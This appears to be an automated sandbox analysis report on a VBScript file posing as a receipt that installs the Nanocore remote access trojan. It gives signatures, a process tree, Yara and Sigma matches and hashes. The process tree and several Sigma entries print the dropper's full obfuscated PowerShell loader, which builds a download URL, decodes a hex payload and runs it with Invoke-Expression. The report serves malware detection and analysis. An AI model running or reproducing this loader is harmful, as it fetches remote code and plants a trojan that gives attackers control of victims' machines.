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Windows Analysis Report 7-Items-receipt.vbs

Overview

General Information

Sample Name:7-Items-receipt.vbs
Analysis ID:483357
MD5:54467281d58890e9f3d3fb9997d90a64
SHA1:a4bb4f66702c1cdddf82287bdb38b46b885e0006
SHA256:8066f56e7cea2bf5ed35ddf325528deff1238bc6a7c1213e1e01eed16be5d830
Tags:vbs
Infos:

Most interesting Screenshot:

Detection

Nanocore
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Malicious sample detected (through community Yara rule)
Sigma detected: NanoCore
VBScript performs obfuscated calls to suspicious functions
Detected Nanocore Rat
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Very long command line found
Injects a PE file into a foreign processes
Creates an undocumented autostart registry key
Sigma detected: CrackMapExec PowerShell Obfuscation
Hides that the sample has been downloaded from the Internet (zone.identifier)
Uses dynamic DNS services
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sigma detected: Encoded PowerShell Command Line
Java / VBScript file with very long strings (likely obfuscated code)
Detected TCP or UDP traffic on non-standard ports
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 6292 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • powershell.exe (PID: 6424 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) })) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • aspnet_compiler.exe (PID: 6060 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)
      • aspnet_compiler.exe (PID: 3112 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
7-Items-receipt.vbsPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x30:$s1: POwerSheLL

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\Public\Run\New.vbsPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x30:$s1: POwerSheLL

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.412042111.000002BCBD041000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x9b0:$s1: POwerSheLL
  • 0x2242:$s1: POwerSheLL
00000004.00000002.403054021.000001EE01671000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x3116:$s1: POwerSheLL
  • 0x6f42:$s1: powershell
  • 0x6f42:$sr1: powershell
  • 0x6f42:$sn1: powershell
00000001.00000002.415688123.000002BCBB6AE000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0xdf08:$s1: POwerSheLL
00000001.00000002.415938547.000002BCBB6CC000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x2dc8:$s1: POwerSheLL
00000001.00000003.414286763.000002BCBB6AA000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x2528:$s1: POwerSheLL
  • 0x2d78:$s1: POwerSheLL
  • 0x11f08:$s1: POwerSheLL
Click to see the 10 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
23.3.aspnet_compiler.exe.3f1c00f.0.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x3831:$x1: NanoCore.ClientPluginHost
  • 0x386a:$x2: IClientNetworkHost
23.3.aspnet_compiler.exe.3f1c00f.0.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
  • 0x3831:$x2: NanoCore.ClientPluginHost
  • 0x394c:$s4: PipeCreated
  • 0x384b:$s5: IClientLoggingHost
23.3.aspnet_compiler.exe.3f01fb6.2.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x6da5:$x1: NanoCore.ClientPluginHost
  • 0x6dd2:$x2: IClientNetworkHost
23.3.aspnet_compiler.exe.3f01fb6.2.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
  • 0x6da5:$x2: NanoCore.ClientPluginHost
  • 0x7d74:$s2: FileCommand
  • 0xc776:$s4: PipeCreated
  • 0x6dbf:$s5: IClientLoggingHost
23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x8ba5:$x1: NanoCore.ClientPluginHost
  • 0x15d0e:$x1: NanoCore.ClientPluginHost
  • 0x1b401:$x1: NanoCore.ClientPluginHost
  • 0x2168a:$x1: NanoCore.ClientPluginHost
  • 0x2bc99:$x1: NanoCore.ClientPluginHost
  • 0x360c4:$x1: NanoCore.ClientPluginHost
  • 0x410a1:$x1: NanoCore.ClientPluginHost
  • 0x4ce43:$x1: NanoCore.ClientPluginHost
  • 0x71d47:$x1: NanoCore.ClientPluginHost
  • 0x81187:$x1: NanoCore.ClientPluginHost
  • 0x8bd2:$x2: IClientNetworkHost
  • 0x15d47:$x2: IClientNetworkHost
  • 0x216c3:$x2: IClientNetworkHost
  • 0x2bdf6:$x2: IClientNetworkHost
  • 0x360fd:$x2: IClientNetworkHost
  • 0x410bb:$x2: IClientNetworkHost
  • 0x4ce5d:$x2: IClientNetworkHost
  • 0x71d61:$x2: IClientNetworkHost
  • 0x811c4:$x2: IClientNetworkHost
Click to see the 8 entries

Sigma Overview

AV Detection:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

System Summary:

barindex
Sigma detected: CrackMapExec PowerShell ObfuscationShow sources
Source: Process startedAuthor: Thomas Patzke: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: Encoded PowerShell Command LineShow sources
Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: Non Interactive PowerShellShow sources
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-